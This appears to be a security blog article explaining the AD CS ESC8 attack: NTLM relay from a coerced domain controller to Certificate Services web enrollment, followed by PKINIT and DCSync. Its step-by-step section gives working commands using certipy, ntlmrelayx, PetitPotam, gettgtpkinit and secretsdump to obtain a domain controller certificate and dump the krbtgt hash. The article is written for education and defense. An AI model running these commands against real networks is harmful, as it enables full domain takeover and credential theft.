AD CS ESC8: Deconstructing NTLM Relay to Web Enrollment

Overview & Threat Landscape#

In enterprise Windows environments, Active Directory Certificate Services (AD CS) acts as the Public Key Infrastructure (PKI) responsible for issuing cryptographic identities, encrypting sensitive data, and authenticating users and machines. When organizations require web-based certificate enrollment, administrators commonly deploy the Certification Authority Web Enrollment role, which establishes an Internet Information Services (IIS) web portal at /certsrv/.

In their seminal "Certified Pre-Owned" research, security analysts Will Schroeder and Lee Christensen categorized structural PKI misconfigurations that permit domain escalation. Among these, ESC8 represents one of the most devastating and pervasive attack vectors in Active Directory history. ESC8 occurs when AD CS HTTP-based enrollment interfaces (such as /certsrv/ or the Certificate Enrollment Service) support NTLM authentication without enforcing Extended Protection for Authentication (EPA) or channel binding tokens.

When chained with remote machine authentication coercion techniques (such as PetitPotam / MS-EFSRPC or SpoolSample / MS-RPRN), ESC8 enables unauthenticated network attackers to achieve instantaneous, forest-wide domain compromise:

• Cross-Protocol Relay Immunity to SMB Signing: While modern Active Directory environments enforce SMB signing on Domain Controllers to prevent SMB-to-SMB NTLM relaying, cross-protocol relaying from SMB to HTTP is completely unaffected by SMB signing. The NTLM Message Integrity Code (MIC) and session signatures are omitted or discarded during protocol translation, allowing an attacker to relay coerced machine authentication directly to an HTTP web enrollment endpoint.
• Instantaneous Machine Account Takeover via PKINIT: By relaying a Domain Controller's computer account authentication (DC01$) to the Web Enrollment interface, the attacker requests a machine certificate using default templates (such as DomainController or Machine). The issued X.509 certificate allows the attacker to authenticate via Kerberos Public Key Cryptography for Initial Authentication (PKINIT, RFC 4556), obtaining a valid Ticket-Granting Ticket (TGT) for the Domain Controller.
• Forest-Wide Credential Dumping via DCSync: Armed with the Domain Controller's Kerberos TGT, the adversary invokes the Directory Replication Service Remote Protocol (MS-DRSR) to execute DCSync. This extracts every password hash, Kerberos master key (krbtgt), and DPAPI backup key in the entire Active Directory database without ever executing code on the Domain Controller.

[!WARNING] ESC8 is not an implementation bug or a traditional memory corruption vulnerability; it is a protocol-level authentication design flaw resulting from legacy NTLM support on web applications. If AD CS Web Enrollment is installed with default settings, any unauthenticated network host can compromise the Active Directory root.

---

Vulnerability & Attack Root-Cause Analysis#

The root cause of ESC8 lies in the intersection of three architectural factors: default IIS NTLM authentication settings, the absence of Extended Protection for Authentication (EPA), and the design of Active Directory machine certificate auto-enrollment templates.

The Mechanics of HTTP NTLM Relaying#

Active Directory Web Enrollment (/certsrv/certfnsh.asp) is an ASP/ISAPI application that relies on IIS Windows Authentication. When a client requests access, IIS initiates a three-way NTLM challenge-response handshake over HTTP:

1. Type 1: NEGOTIATE_MESSAGE: The client informs the server of its supported capabilities.
2. Type 2: CHALLENGE_MESSAGE: The server issues a cryptographic 8-byte server challenge.
3. Type 3: AUTHENTICATE_MESSAGE: The client calculates the NetNTLM response (encrypting the challenge using a hash derived from the user or computer password) and submits it in the HTTP Authorization header (NTLM TlRMTVNTUAAB...).

In a standard relay attack, an adversary positions themselves as a man-in-the-middle:

graph TD
[Coerced DC01$]  ---(SMB NTLM Auth)--->  [Attacker Relay]  ---(HTTP NTLM Auth)--->  [AD CS Web Enrollment]

Why SMB Signing Fails to Prevent Cross-Protocol Relays#

A common misconception is that enforcing SMB Signing on Domain Controllers neutralizes NTLM relay attacks. This is incorrect.

When a Domain Controller connects to an attacker-controlled SMB server, SMB signing protects the integrity of the SMB session between the DC and the attacker. However, when the attacker extracts the NTLM messages from the SMB stream and inserts them into HTTP Authorization headers, the target HTTP server has no native knowledge of the originating SMB transport.

Because HTTP has no transport-level message signing equivalent to SMB, the target web server validates the NetNTLMv2 response against Active Directory and considers the caller successfully authenticated as DOMAIN\DC01$.

The Absence of Extended Protection for Authentication (EPA)#

The fundamental vulnerability on the AD CS server is the lack of Extended Protection for Authentication (EPA):

• Channel Binding Tokens (CBT): Under EPA with Channel Binding, the client computes an outer TLS channel binding hash (derived from the server's TLS certificate) and encapsulates it inside the AV_PAIR structures of the NTLM AUTHENTICATE_MESSAGE. If an attacker intercepts the NTLM response over SMB and relays it over an independent TLS session to the CA, the channel binding hashes mismatch, and the CA rejects the authentication.
• Service Binding: Under Service Binding, the client specifies the target Service Principal Name (SPN, e.g., HTTP/ca.corp.local). If relayed, the target server verifies that the SPN in the NTLM token matches its own registered identity.

By default, the AD CS Web Enrollment role installs on IIS without EPA enabled, and frequently over unencrypted HTTP (port 80). Without EPA, IIS cannot detect that the authentication token was originally issued for a completely different service.

Machine Certificate Templates & PKINIT Escalation#

Once authenticated as DC01$ on the Web Enrollment portal, the attacker submits a PKCS#10 Certificate Signing Request (CSR). Because the authenticated principal is a Domain Controller:

• The CA processes the request under the built-in DomainController or Machine certificate template.
• Both templates possess the Client Authentication Enhanced Key Usage (EKU 1.3.6.1.5.5.7.3.2) and Smart Card Logon (EKU 1.3.6.1.4.1.311.20.2.2).
• The CA issues an X.509 certificate where the Subject Alternative Name (SAN) or Subject matches the DNS hostname and SID of DC01$.

The attacker uses this certificate to authenticate to the Kerberos Key Distribution Center (KDC) via PKINIT (RFC 4556), prompting the KDC to issue a valid Ticket-Granting Ticket (TGT) for the Domain Controller machine account.

---

Exploit Architecture#

The sequence diagram below details the complete protocol lifecycle of an ESC8 attack chain, from remote RPC coercion through cross-protocol NTLM relaying, certificate issuance, and domain takeover:

sequenceDiagram
    autonumber
    actor Attacker as Unauthenticated Attacker
    participant DC as Target Domain Controller (DC01$)
    participant Relay as Attacker NTLM Relay (ntlmrelayx)
    participant CA as AD CS Web Enrollment (/certsrv/)
    participant KDC as Kerberos KDC Engine

    Note over Attacker,DC: Phase 1: Authentication Coercion
    Attacker->>DC: MS-EFSRPC: EfsRpcOpenFileRaw("\attacker-ip\pipe\srvsvc")
    DC->>Relay: SMB Connection (Negotiate NTLMSSP)

    Note over Relay,CA: Phase 2: Cross-Protocol NTLM Relaying
    Relay->>CA: HTTP POST /certsrv/certfnsh.asp (Type 1 Negotiate)
    CA-->>Relay: HTTP 401 Unauthorized (Type 2 Challenge)
    Relay-->>DC: SMB NTLM Challenge
    DC->>Relay: SMB NTLM Type 3 Authenticate (DC01$ NetNTLMv2)
    Relay->>CA: HTTP POST /certsrv/certfnsh.asp (Type 3 Auth Header)

    critical Absence of EPA / Channel Binding
        CA->>CA: Validate NetNTLMv2 Response with Domain
        Note over CA: Verified: Authenticated as DOMAIN\DC01$
    end

    Note over Relay,CA: Phase 3: Certificate Generation
    Relay->>CA: Submit PKCS#10 CSR (Template: DomainController)
    CA-->>Relay: HTTP 200 OK (Issue X.509 Client Auth Certificate)

    Note over Attacker,KDC: Phase 4: Kerberos PKINIT Escalation
    Attacker->>KDC: AS-REQ via PKINIT (RFC 4556 with DC01$ Certificate)
    KDC-->>Attacker: AS-REP (Issue TGT for DOMAIN\DC01$)

    Note over Attacker,DC: Phase 5: Domain Takeover via DCSync
    Attacker->>DC: MS-DRSR IDL_DRSGetNCChanges (Auth: DC01$ TGT)
    DC-->>Attacker: Replicate All Domain Hashes (krbtgt AES-256 Keys)

---

Attack Path Step-by-Step#

Analyzing each operational phase of an ESC8 attack enables detection engineers and red/blue teams to understand how adversaries orchestrate coercion, relaying, and Kerberos key recovery.

Step 1: Discovering Vulnerable AD CS Web Enrollment Endpoints#

An attacker begins by scanning the Active Directory environment for Certificate Authorities exposing HTTP enrollment endpoints. This can be accomplished via LDAP enumeration:

BASH

# Enumerating Enterprise CAs and Enrollment Services via LDAP
certipy find -u "lowpriv@corp.local" -p "Password123!" -dc-ip 10.10.1.10 -stdout

If the enumeration identifies Web Enrollment: Enabled on an HTTP endpoint (e.g., http://ca01.corp.local/certsrv/), the target is confirmed vulnerable to ESC8.

Step 2: Initializing the Cross-Protocol NTLM Relay Engine#

The adversary deploys an NTLM relay listener configured to intercept incoming SMB authentications, translate them into HTTP POST requests, and target the Web Enrollment endpoint:

BASH

# Starting ntlmrelayx targeting the AD CS certfnsh.asp page
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp     -smb2support     --template DomainController     --adcs

The relay tool prepares an ephemeral RSA key pair and waits to inject the public key into an automated CSR once authentication is relayed.

Step 3: Coercing Domain Controller Authentication via MS-EFSRPC#

To force the Domain Controller to authenticate to the attacker's listener, the adversary invokes the Encrypting File System Remote Protocol (MS-EFSRPC) using tools like PetitPotam:

BASH

# Triggering outbound SMB authentication from DC01 to the attacker relay
python3 PetitPotam.py 10.10.1.50 10.10.1.10 -u "lowpriv" -p "Password123!" -d "corp.local"

Under the hood, EfsRpcOpenFileRaw forces the Local System context of DC01$ to connect to \10.10.1.50\pipe\srvsvc. The Domain Controller initiates an SMB session with the attacker, transmitting its NetNTLMv2 authentication token.

Step 4: Relaying Authentication & Harvesting the Machine Certificate#

The relay engine captures the Type 3 AUTHENTICATE_MESSAGE from DC01$, strips the SMB wrapper, and injects it into an HTTP POST request to /certsrv/certfnsh.asp.

Because the CA lacks EPA, the web server accepts the authentication and processes the embedded CSR. The server returns the issued base64-encoded X.509 certificate:

BASH

[*] Successfully relayed authentication for CORP\DC01$
[*] Requesting certificate for template: DomainController
[*] Got certificate! Writing to ./dc01.pfx

The generated dc01.pfx archive contains the private key and the newly minted machine identity certificate.

Step 5: Kerberos PKINIT & Forest-Wide DCSync#

Equipped with the machine certificate, the attacker requests a Kerberos TGT from the KDC using PKINIT:

BASH

# Requesting a Kerberos TGT using the relayed machine certificate
gettgtpkinit.py -pfx-base64 "$(cat dc01.pfx | base64 -w 0)" corp.local/DC01\$ dc01.ccache
export KRB5CCNAME=dc01.ccache

With the Domain Controller's TGT loaded into the environment, the attacker executes DCSync to dump all enterprise hashes:

BASH

# Dumping the krbtgt account hash via MS-DRSR
secretsdump.py -k -no-pass "corp.local/DC01$@dc01.corp.local" -just-dc-user krbtgt

The attacker retrieves the AES-256 key for krbtgt, allowing immediate generation of forged Kerberos Golden Tickets and achieving irreversible domain dominance.

---

Fast Cyber Defense Morning Takeaways#

1. SMB Signing Does Not Stop Cross-Protocol Relays: Relying exclusively on SMB signing leaves enterprise web endpoints completely defenseless against coerced HTTP NTLM relaying.
2. EPA Is the Missing Cryptographic Link: Without Extended Protection for Authentication (EPA) and Channel Binding Tokens, web applications cannot verify whether an NTLM handshake originated from the legitimate client or an intermediate relay.
3. Coercion Primitives Are Inherent to RPC: Remote procedure call coercion interfaces (PetitPotam, SpoolSample, DFSCoerce) cannot be eliminated entirely; enterprise security must be achieved by hardening the targets of NTLM relaying.

In tonight's Evening Defense Guide (EDITION 2), we will engineer complete blue team defenses:

• Disabling NTLM across all AD CS Web Enrollment virtual directories and enforcing pure Kerberos authentication.
• Enforcing Extended Protection for Authentication (EPA) and HTTPS requirements in IIS for /certsrv/.
• Deploying production Sigma rules and Zeek/Snort signatures to detect RPC coercion calls and anomalous NTLM web enrollment requests.
• Restricting RPC coercion endpoints on Domain Controllers using Windows Filtering Platform (WFP) and RPC interface filtering.

---

Authoritative References#

1. SpecterOps Research: Certified Pre-Owned: Abusing Active Directory Certificate Services — SpecterOps Whitepaper
2. Microsoft Security Advisory: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (KB5005413) — Microsoft Support
3. Cybersecurity and Infrastructure Security Agency (CISA): CISA Advisory on Active Directory Certificate Services Exploitation — CISA Alerts
4. IETF RFC 4556: Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) — IETF Datatracker